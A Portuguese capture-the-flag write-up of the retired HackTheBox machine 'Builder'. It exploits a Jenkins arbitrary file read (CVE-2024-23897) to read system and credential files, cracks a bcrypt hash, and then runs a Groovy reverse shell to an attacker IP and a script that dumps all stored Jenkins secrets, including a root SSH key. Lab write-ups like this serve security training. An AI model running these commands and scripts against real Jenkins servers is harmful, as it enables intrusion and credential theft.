HackTheBox – Writeup Builder [Retired]

HackTheBox – Writeup Builder [Retired]

Hackthebox

Neste writeup iremos explorar uma máquina linux de nível medium chamada Builder que aborda as seguintes vulnerabilidades e técnicas de exploração

CVE-2024-23897 (Jenkins Arbitrary File Read)
Sensitive Data Exposure

Recon e user flag

Iremos iniciar realizando uma varredura utilizando o nmap para visualizar as portas abertas em nosso alvo:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# nmap -sV –open -Pn 10.129.220.88
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-13 12:15 EST
Nmap scan report for 10.129.220.88
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Jetty 10.0.18
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Podemos ver que existem duas portas abertas em nosso alvo, a porta 22 do ssh e a porta 8080 que roda um Jetty na versão 10.0.18. O Jetty é um servidor web feito em java.

Ao acessar a porta 8080 pelo navegador temos a seguinte página:

Se trata de um Jenkins na versão 2.441. O jenkins é uma aplicação feita em java com foco em automação no desenvolvimento de software, realiza ações como build, test e deploy de aplicações.

Podemos notar que é preciso permissões e um usuário para conseguimos acesso a algumas funcionalidades do jenkins, como visualizar histórico de builds, lista os nodes (que possui somente 1 node built in que é nosso alvo).
Também podemos listar os usuários, que no caso temos somente o usuário jennifer:

Também conseguimos listar as credenciais:

Conseguimos visualizar este conteúdo pelo acesso anônimo estar habilitado.
Outro ponto importante é que notamos que a REST API do jenkins esta habilitada também:

Todos estes pontos combinam com uma vulnerabilidade recente do Jenkins, a CVE-2024-23897 que se trata de um Arbitrary File Read na versão 2.441 e anteriores.

Esta vulnerabilidade ocorre devido a uma má sanitização de um input via CLI, que é utilizado através da REST API do jenkins. Ocorre em uma lib chamada args4j é utilizada para parsear argumentos via CLI. Existe uma feature que substitui o caracter @ seguido pelo path de um arquivo por um argumento com o conteúdo desse arquivo, o que nos permite ler arquivos no servidor.

No jenkins em nosso alvo conseguimos baixar o .jar que permitirá a comunicação com o jenkins.
Vamos realizar o download da seguinte forma:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# wget http://10.129.220.88:8080/jnlpJars/jenkins-cli.jar
–2024-02-13 12:20:57– http://10.129.220.88:8080/jnlpJars/jenkins-cli.jar
Connecting to 10.129.220.88:8080… connected.
HTTP request sent, awaiting response… 200 OK
Length: 3623400 (3.5M) [application/java-archive]
Saving to: ‘jenkins-cli.jar’

jenkins-cli.jar 100%[=================================================================================>] 3.46M 547KB/s in 8.6s

2024-02-13 12:21:06 (413 KB/s) – ‘jenkins-cli.jar’ saved [3623400/3623400]

Para explorar a vulnerabilidade executamos o seguinte comando:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# java -jar jenkins-cli.jar -s http://10.129.220.88:8080/ -http connect-node “@/etc/passwd” | cut -d ‘No’ -f1
cut: the delimiter must be a single character
Try ‘cut –help’ for more information.
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent “www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin” exists.
root:x:0:0:root:/root:/bin/bash: No such agent “root:x:0:0:root:/root:/bin/bash” exists.
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent “mail:x:8:8:mail:/var/mail:/usr/sbin/nologin” exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent “backup:x:34:34:backup:/var/backups:/usr/sbin/nologin” exists.
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent “_apt:x:42:65534::/nonexistent:/usr/sbin/nologin” exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent “nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin” exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent “lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin” exists.
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent “uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin” exists.
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent “bin:x:2:2:bin:/bin:/usr/sbin/nologin” exists.
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent “news:x:9:9:news:/var/spool/news:/usr/sbin/nologin” exists.
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent “proxy:x:13:13:proxy:/bin:/usr/sbin/nologin” exists.
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent “irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin” exists.
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent “list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin” exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent “jenkins:x:1000:1000::/var/jenkins_home:/bin/bash” exists.
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent “games:x:5:60:games:/usr/games:/usr/sbin/nologin” exists.
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent “man:x:6:12:man:/var/cache/man:/usr/sbin/nologin” exists.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent “daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin” exists.
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent “sys:x:3:3:sys:/dev:/usr/sbin/nologin” exists.
sync:x:4:65534:sync:/bin:/bin/sync: No such agent “sync:x:4:65534:sync:/bin:/bin/sync” exists.

ERROR: Error occurred while performing this command, see previous stderr output.

Conseguimos o retorno do /etc/passwd, podemos colocar o resultado em um arquivo para filtrar a saída:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# awk -F ‘No such agent’ ‘{print $1}’ passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin:
root:x:0:0:root:/root:/bin/bash:
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin:
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin:
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin:
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin:
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin:
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin:
bin:x:2:2:bin:/bin:/usr/sbin/nologin:
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin:
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin:
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin:
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin:
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash:
games:x:5:60:games:/usr/games:/usr/sbin/nologin:
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin:
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin:
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

Podemos notar que existem dois usuários, root e jenkins. A home do root é /root e a home do usuário jenkins é /var/jenkins_home.

Com isso conseguimos buscar a user flag:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# java -jar jenkins-cli.jar -s http://10.129.220.88:8080/ -http connect-node “@/var/jenkins_home/user.txt”

ERROR: No such agent “aea470ff3badab8504db49aa7e1d9e34” exists.

Escalação de privilégios e root flag

Agora que temos como ler arquivos podemos buscar por arquivos importantes que podem nos dar credenciais ou informações sensíveis.
Utilizando a documentação do jenkins conseguimos encontrar arquivos importantes, um deles é o /var/jenkins_home/users/users.xml que possui informações de usuários do jenkins:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# java -jar jenkins-cli.jar -s http://10.129.220.88:8080/ -http connect-node “@/var/jenkins_home/users/users.xml”

<?xml version=‘1.1’ encoding=‘UTF-8’?>: No such agent “<?xml version=’1.1′ encoding=’UTF-8′?>” exists.
<string>jennifer_12108429903186576833</string>: No such agent ” <string>jennifer_12108429903186576833</string>” exists.
<idToDirectoryNameMap class=“concurrent-hash-map”>: No such agent ” <idToDirectoryNameMap class=”concurrent-hash-map“>” exists.
<entry>: No such agent ” <entry>” exists.
<string>jennifer</string>: No such agent ” <string>jennifer</string>” exists.
<version>1</version>: No such agent ” <version>1</version>” exists.
</hudson.model.UserIdMapper>: No such agent “</hudson.model.UserIdMapper>” exists.
</idToDirectoryNameMap>: No such agent ” </idToDirectoryNameMap>” exists.
<hudson.model.UserIdMapper>: No such agent “<hudson.model.UserIdMapper>” exists.
</entry>: No such agent ” </entry>” exists.

ERROR: Error occurred while performing this command, see previous stderr output.

Iremos adicionar o resultado em um arquivo para uma melhor leitura:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# awk -F ‘No such agent’ ‘{print $1}’ users.xml
<?xml version=‘1.1’ encoding=‘UTF-8’?>:
<string>jennifer_12108429903186576833</string>:
<idToDirectoryNameMap class=“concurrent-hash-map”>:
<entry>:
<string>jennifer</string>:
<version>1</version>:
</hudson.model.UserIdMapper>:
</idToDirectoryNameMap>:
<hudson.model.UserIdMapper>:
</entry>:

Essa informação é importante porque aqui descobrimos o diretório com as informações do usuário jennifer, que o jenkins cria com um número randomico: jennifer_12108429903186576833

Descobrimos assim a conteúdo do arquivo que contém as informações do usuário:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# java -jar jenkins-cli.jar -s http://10.129.220.88:8080/ /var/jenkins_home/users/jennifer_12108429903186576833/config.xml

Conseguimos visualizar melhor filtrando em um arquivo:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# awk -F ‘No such agent’ ‘{print $1}’ jennifer-config.xml
<hudson.tasks.Mailer_-UserProperty plugin=“mailer@463.vedf8358e006b_”>:
<hudson.search.UserSearchProperty>:
<roles>:
<jenkins.security.seed.UserSeedProperty>:
</tokenStore>:
</hudson.search.UserSearchProperty>:
<timeZoneName></timeZoneName>:
<properties>:
<jenkins.security.LastGrantedAuthoritiesProperty>:
<flags/>:
<hudson.model.MyViewsProperty>:
</user>:
</jenkins.security.ApiTokenProperty>:
<views>:
<string>authenticated</string>:
<org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin=“display-url-api@2.200.vb_9327d658781”>:
<user>:
<name>all</name>:
<description></description>:
<emailAddress>jennifer@builder.htb</emailAddress>:
<collapsed/>:
</jenkins.security.seed.UserSeedProperty>:
</org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>:
</hudson.model.MyViewsProperty>:
<domainCredentialsMap class=“hudson.util.CopyOnWriteMap$Hash/>:
<filterQueue>false</filterQueue>:
<jenkins.security.ApiTokenProperty>:
<primaryViewName></primaryViewName>:
</views>:
</hudson.model.TimeZoneProperty>:
<com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin=“credentials@1319.v7eb_51b_3a_c97b_”>:
</hudson.model.PaneStatusProperties>:
</hudson.tasks.Mailer_-UserProperty>:
<tokenList/>:
<jenkins.console.ConsoleUrlProviderUserProperty/>:
</hudson.model.AllView>:
<timestamp>1707318554385</timestamp>:
<owner class=“hudson.model.MyViewsProperty” reference=“../../..”/>:
</properties>:
</jenkins.model.experimentalflags.UserExperimentalFlagsProperty>:
</com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>:
<hudson.security.HudsonPrivateSecurityRealm_-Details>:
<insensitiveSearch>true</insensitiveSearch>:
<properties class=“hudson.model.View$PropertyList/>:
<hudson.model.TimeZoneProperty>:
<hudson.model.AllView>:
</hudson.security.HudsonPrivateSecurityRealm_-Details>:
<providerId>default</providerId>:
</roles>:
</jenkins.security.LastGrantedAuthoritiesProperty>:
<jenkins.model.experimentalflags.UserExperimentalFlagsProperty>:
<hudson.model.PaneStatusProperties>:
<?xml version=‘1.1’ encoding=‘UTF-8’?>:
<fullName>jennifer</fullName>:
<seed>6841d11dc1de101d</seed>:
<id>jennifer</id>:
<version>10</version>:
<tokenStore>:
<filterExecutors>false</filterExecutors>:
<io.jenkins.plugins.thememanager.ThemeUserProperty plugin=“theme-manager@215.vc1ff18d67920”/>:
<passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>:

E assim conseguimos o email jennifer@builder.htb e a hash da senha do usuário $2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a

Vamos utilizar o john the ripper para quebrar essa hash:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# john -w=/usr/share/wordlists/rockyou.txt jennifer-hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press ‘q’ or Ctrl-C to abort, almost any other key for status
princess (?)
1g 0:00:00:00 DONE (2024-02-14 17:12) 3.030g/s 109.0p/s 109.0c/s 109.0C/s 123456..liverpool
Use the “–show” option to display all of the cracked passwords reliably
Session completed.

Conseguimos a senha do usuário jennifer, agora podemos logar na interface do jenkins:

O jenkins permite que seja executado scripts groovy através da sua interface pelo script console:

Aqui podemos executar comandos no node do jenkins, que em nosso caso é nosso alvo. Podemos inclusive pegar um shell com o seguinte script:

String host=‘10.10.16.25’; int port=4444; String cmd=‘bash’; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Dessa forma vamos conseguir acesso somente como o usuário jenkins.
No entanto, conforme enumeramos inicialmente existe uma credencial de sistema com o nome root. Através do groovy podemos listar todas as credenciais do jenkins com o seguinte script:

// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.*
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.impl.*
import com.cloudbees.plugins.credentials.domains.*
import com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey
import org.jenkinsci.plugins.plaincredentials.StringCredentials
import org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl

def showRow = { credentialType, secretId, username = null, password = null, description = null ->
println(${credentialType} : “.padLeft(20) + secretId?.padRight(38)+” | “ +username?.padRight(20)+” | “ +password?.padRight(40) + ” | “ +description)
}

// set Credentials domain name (null means is it global)
domainName = null

credentialsStore = Jenkins.instance.getExtensionList(‘com.cloudbees.plugins.credentials.SystemCredentialsProvider’)[0]?.getStore()
domain = new Domain(domainName, null, Collections.<DomainSpecification>emptyList())

credentialsStore?.getCredentials(domain).each{
if(it instanceof UsernamePasswordCredentialsImpl)
showRow(“user/password”, it.id, it.username, it.password?.getPlainText(), it.description)
else if(it instanceof BasicSSHUserPrivateKey)
showRow(“ssh priv key”, it.id, it.passphrase?.getPlainText(), it.privateKeySource?.getPrivateKey()?.getPlainText(), it.description)
else if(it instanceof StringCredentials)
showRow(“secret text”, it.id, it.secret?.getPlainText(), , it.description)
else if(it instanceof FileCredentialsImpl)
showRow(“secret file”, it.id, it.content?.text, , it.description)
else
showRow(“something else”, it.id, , , )
}

return

E assim temos uma chave privada:

Vamos salvar o conteúdo em um arquivo chamado id_rsa_root e alterar sua permissão para 600, pois chaves privadas precisam ter uma permissão mais restritiva para que serem utilizadas:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# chmod 600 id_rsa_root

Testando a chave privada como usuário root em nosso alvo conseguimos o acesso:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# ssh -i id_rsa_root root@10.129.244.76
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-94-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Wed Feb 14 10:50:05 PM UTC 2024

System load: 0.2177734375
Usage of /: 66.0% of 5.81GB
Memory usage: 33%
Swap usage: 0%
Processes: 247
Users logged in: 0
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.129.244.76
IPv6 address for eth0: dead:beef::250:56ff:fe96:9588

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Last login: Mon Feb 12 13:15:44 2024 from 10.10.14.40

E assim conseguimos a root flag:

root@builder:~# ls -alh
total 32K
drwx—— 5 root root 4.0K Feb 14 22:47 .
drwxr-xr-x 18 root root 4.0K Feb 9 15:45 ..
lrwxrwxrwx 1 root root 9 Apr 27 2023 .bash_history -> /dev/null
-rw-r–r– 1 root root 3.1K Oct 15 2021 .bashrc
drwx—— 2 root root 4.0K Apr 27 2023 .cache
drwxr-xr-x 3 root root 4.0K Apr 27 2023 .local
-rw-r–r– 1 root root 161 Jul 9 2019 .profile
-rw-r—– 1 root root 33 Feb 14 22:47 root.txt
drwx—— 2 root root 4.0K Feb 8 11:24 .ssh
root@builder:~# cat root.txt
229275386e7300b9ad9425a630fa815c

Finalizando a máquina Builder !

Leave a Reply

Your email address will not be published. Required fields are marked *